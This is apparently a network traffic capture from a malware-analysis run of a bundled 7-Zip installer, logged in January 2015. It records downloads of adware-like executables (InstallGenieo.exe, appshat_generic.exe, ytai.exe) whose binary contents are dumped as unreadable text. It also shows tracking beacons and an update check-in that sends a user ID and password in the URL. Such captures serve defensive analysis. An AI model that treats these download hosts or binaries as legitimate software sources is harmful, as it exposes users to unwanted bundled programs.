......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Thu, 13 Nov 2014 06:02:42 GMT

Accept-Ranges: bytes

ETag: "88cab6f7ffcf1:0"

Server: Microsoft-IIS/8.0

VTag: 438246244800000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Thu, 08 Jan 2015 04:57:14 GMT

Connection: keep-alive
0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..141112173206Z..150211055206Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......W0... .....7......150210174206Z0.
..*.H................].`...D..9.>LO.ey...Qx%.^.P.& ...D.......b}.K.
.[.....5.m....).....H..6R....G/ju.........:..A.#.9!......D5...|".w.x..
=.u..X6.7{..).XN....g......B.8.!&...........<7fS$..........t<X)%
.b([email protected]... ,...K\....U1cp).........y.T..?rm.t..Y.}.E..
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified:
 Thu, 13 Nov 2014 06:02:42 GMT..Accept-Ranges: bytes..ETag: "88cab6f7f
fcf1:0"..Server: Microsoft-IIS/8.0..VTag: 438246244800000000..P3P: CP=
"ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo
 CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-
Length: 554..Cache-Control: max-age=900..Date: Thu, 08 Jan 2015 04:57:
14 GMT..Connection: keep-alive..0..&0......0...*.H........0y1.0...U...
.US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corpora
tion1#0!..U....Microsoft Code Signing PCA..141112173206Z..150211055206
Z.a0_0...U.#..0..........X..7.3...L...0... .....7.........0...U......W
0... .....7......150210174206Z0...*.H................].`...D..9.>LO
.ey...Qx%.^.P.& ...D.......b}.K..[.....5.m....).....H..6R....G/ju.....
....:..A.#.9!......D5...|".w.x..=.u..X6.7{..).XN....g......B.8.!&.....
......<7fS$..........t<X)%.b([email protected]... ,...K\.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: hA6WPp9GeuIyzpf0zTLiBtHP2GFYgeLPmgEYzXDcIq0FPqJs5jQVxVHLGWl9OMQG

x-amz-request-id: D89CD636B619E0BC

Date: Thu, 08 Jan 2015 04:57:29 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3x2t2d45kki1weivr5gsya55


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Thu, 08 Jan 2015 04:53:16 GMT

Connection: close
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /ytai.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:00 GMT

Content-Range: bytes 250000-499999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 dec3494a83e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UgKBhalfzaYacC01PCn3QsImAvdRlsLiIj6RTNmWvpLXZI0YzVNPPQ==
.W..V..YPW..$H....&F....$.....j.....$(......$......$.......$....j..C.$
......$.....D$....M.X9.$$....0.M..t$..C.$....9.$....S.C.$....9...M.W.C
...M.9.D.M...$L....C.0.M...$`.....C.$L...3.W.5..M.RQP..$....h..J.P....
...(..$....j.WhP.M..ES..3...$......$......$..........$....f..$......$(
..........d$,h.VK...R....$@......$@......$p....bc.......$(.....x..r...
P..$.....oR....$(....3.WC..$\...S..V..j.W.....$......$........d$4.C.$.
...P.L$P.KQ....$H......$H......$...........$H......$....P..$$....$P...
....$0......$`...P.JC....$(......$X...P..$......Q....$(......$X...WS..
V....$(......$....WS..U....$(......$....WS..U....$p..........$(.....W.
j....D$.[h.....*q....Y.T$,..$(......t:..$.......$p.....$.....C.$p.....
$.....Q.C.$....QP...........$(............3..D$$.D$(.D$..D$ .D$4.D$8.D
$$P..d.I..D$.P..h.I..G.j.j..H............x..G.j..H.........P..D$4P..h.
I..L$4 L$..T$8.T$ .^.....Y...K..T$(.L$$...D$,.C......L$,..^...XL$.f.(.
...D$......D$.Kj._..........^...K.QQ.L$L...D$........$(.....L$D...L$..
......$(...P.L$H.......$(......$(.....$<......$8....C.$(.......$<
;......$(....C.$(...PQ..$...........$(..........d$D3...$....j.SP..@...
[email protected]$Dh.VK..fO....$X......$X....G...`..........0..$(....SW..
$......S....$(......$(...SW.......$(......$...........$......\....$(..
....$p...SW.QS....$(......$....SW.;S....$(......$....SW.%S....$(......
$....SW..S....$([email protected]....$(......$....SW..R....$(......$...
.Sj...R....$(.....$....Sj...R....$(......u..N?..3...$ ...d......Y_^[..
$....3...m....]...V.qP.........^..[..j4...I.........M....u.3....}.<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1206159

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 151376

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:01 GMT

Content-Range: bytes 1000000-1151375/1206160

X-Cache: Miss from cloudfront

Via: 1.1 dec3494a83e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)

X-Amz-Cf-Id: t0zop_5FDerF4juSb-HTaaXgruoyZSi7mKLGTaKYUBt2VqxbbvvWiA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 151376..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 08 Jan 2015 04:53:01 GMT..Content-Range: bytes 1000
000-1151375/1206160..X-Cache: Miss from cloudfront..Via: 1.1 dec3494a8
3e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)..X-Amz-Cf-Id: t0zo
p_5FDerF4juSb-HTaaXgruoyZSi7mKLGTaKYUBt2VqxbbvvWiA==..................
......................................................................
.................................................@....................
GGG888888.......................&&&&&&&...@@@@@@@(((((((........444444
4.....................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected].......................&&&&&&....@@@@@@@
(((((((.......44444444................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1206159

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 151376

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:03 GMT

Content-Range: bytes 1000000-1151375/1206160

X-Cache: Miss from cloudfront

Via: 1.1 dec3494a83e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)

X-Amz-Cf-Id: UhaUbMeX3QsnmP6SOqoRIaibuoNNXjv3p9qEh33YqsC6umS4PEr34g==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 151376..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 08 Jan 2015 04:53:03 GMT..Content-Range: bytes 1000
000-1151375/1206160..X-Cache: Miss from cloudfront..Via: 1.1 dec3494a8
3e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)..X-Amz-Cf-Id: UhaU
bMeX3QsnmP6SOqoRIaibuoNNXjv3p9qEh33YqsC6umS4PEr34g==..................
......................................................................
.................................................@....................
GGG888888.......................&&&&&&&...@@@@@@@(((((((........444444
4.....................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected].......................&&&&&&....@@@@@@@
(((((((.......44444444................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1206159

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 151376

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:05 GMT

Content-Range: bytes 1000000-1151375/1206160

X-Cache: Miss from cloudfront

Via: 1.1 dec3494a83e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mhodU9pL572jrAN7FauSPuQ5alDPVM_UV7t71wTH92j4dXv479gq_Q==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 151376..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 08 Jan 2015 04:53:05 GMT..Content-Range: bytes 1000
000-1151375/1206160..X-Cache: Miss from cloudfront..Via: 1.1 dec3494a8
3e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)..X-Amz-Cf-Id: mhod
U9pL572jrAN7FauSPuQ5alDPVM_UV7t71wTH92j4dXv479gq_Q==..................
......................................................................
.................................................@....................
GGG888888.......................&&&&&&&...@@@@@@@(((((((........444444
4.....................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected].......................&&&&&&....@@@@@@@
(((((((.......44444444................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /ytai.exe HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1206160

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 dec3494a83e4ff26e9c5f110614a5970.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6nFAreMp-AmGDVhhNe7lSUw5dKmw1c3pg9z4_G4YMBOBsC83pkkAfA==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@[email protected]....^...p...4...V........
[email protected]...............................@[email protected]..|...........
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277619-555238

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 277620

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 aeb7836a7f4320ebda5a45c21ac97728.cloudfront.net (CloudFront)

X-Amz-Cf-Id: LvUrVb9tJoMnAmOHkjFylfB642aRhTs2fFA9IZ1a-A560PdZvDSovg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=370653-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 22/5q2MGCaWTEPIHeH7to27yjTyeJCdwDik9gIGknEuDSWJlcHUd6ZDQn2TToH/0

x-amz-request-id: A565BBA26C7D7970

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 370653-988407/988408

Content-Type: application/octet-stream

Content-Length: 617755

Server: AmazonS3
.......F....T2Y..B..U7...r....yR.5e..v.l.....a:{r.Ju.$..F}R..7Ul.4...N
i]H"x.O.....7..<...._*.;.....}U.).@k?jCE.4C.6|..{E.......1..t.^.<
;..F..z..>[email protected]&.e.......7u.(.q.1....=jm...e....- .......S>.
E.:.Qk..../l..n.J....R..^s... Q72.....Z.....X..IK.D}.. ..1?r~.. ..O..y
...y.7..\.h.Q..w..E...I-._....[.....K.jG.....q.5.*?...R\.f....u..P.?.i
.>l.9`..g..Q...p.f....k.m)...dK..N..).P.............w....!.......e.
.`.:...n..Bp2.jr...td.....~....wi-.P..?j8.j,.....].....K.<H...n....
.2.?".?.....4...QR...<R......c.\....._.%..v.dg.N. ...e.Xe.,&7,MY...
:,e.Z...,% .\.hK.....Y....^T. . ....<.A4.....6.(._x>........V...
...Sx.M.b)5)....Q.....V(..,..<t2.v.b..H.C...K......f];...a.R..14...
#Y..u.Aj....8<...... (.....l.DsaM#..$[_.IM|.WK.[%..[u?~...4.n.%..a.
...."...h/..i...`M.../...............X.\F.q.......;#....f....x.h."....
m..3nK.Jp(k..8.1.../.r.|...(.....#.,.....&%0.y..,......)..5.~.,...V...
;d.Vu...H.4G.#l....gL.j...y..?o...>I..)...g...H.!.;}/.Z..5.j...5...
..uR.......PM{....=...O..hDI...=H.6.PL..a6.!uz(.A........T.w...../..X.
.`\.x.7.'........>[email protected]
.@.^r#U.F...qv..D...j..%....8......r.%...K.....v$...i.t.....c.E......o
1e.Z>."..._4.UM$Keg..D...F...:.-1.ak.........-..|Y..A.#].g3...7..4.
.....Z..-.Q..yS._.uL.nK.e.M..Y"...p0OX...s2$w1....y.....06.)...(..C...
\.gX..>.h&..-.q&1....C..lI..>.W..T.J..MS..l.u.m81.R2..03R..3.<
;.....=X.........m.$wNp(3....D2.5.i..D4E.G..Z..?....eO.R.e......(l.Y..
. .....PE..!.|[email protected]..[XY.dz.;.u....U..r.... a<<< skipped >>>

GET /__utm.gif?utmwv=5.6.1&utms=6&utmn=1131424682&utmhn=installer.filebulldog.com&utmhid=1345620086&utmr=-&utmp=Offer_Accepted&utmht=1420692981667&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Sun, 28 Dec 2014 22:33:44 GMT

Server: Golfe2

Content-Length: 35

Age: 886977

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Sun, 28 Dec 2014 22:33:44 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 886977..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;....


GET /__utm.gif?utmwv=5.6.1&utms=7&utmn=316248233&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(priceless)&utmhid=1345620086&utmr=-&utmp=Install_Complete&utmht=1420693021722&utmac=UA-31676879-1&utmcc=__utma=1.260128705.1420692778.1420692778.1420692778.1;+__utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Sun, 28 Dec 2014 22:33:44 GMT

Server: Golfe2

Content-Length: 35

Age: 887017

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Alternate-Protocol: 80:quic,p=0.002

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Sun, 28 Dec 2014 22:33:44 GMT..Server: Golfe2..Content-Lengt
h: 35..Age: 887017..Cache-Control: private, no-cache, no-cache=Set-Coo
kie, proxy-revalidate..Alternate-Protocol: 80:quic,p=0.002..GIF89a....
.........,...........D..;..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=142780-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 142778

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 142780-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 d7876feb6aad13be77dcc3a0028488b5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: N5H9h7ebIwVf1CRjTjXna6uFikgocGoVeEHMIZ3tGd826JMEsdB08A==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...<<< skipped >>>

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Wed, 07 Jan 2015 14:18:56 GMT

Last-Modified: Wed, 07 Jan 2015 11:57:28 GMT

ETag: "54ad1f28-6721"

Expires: Wed, 07 Jan 2015 14:28:56 GMT

Cache-Control: max-age=600

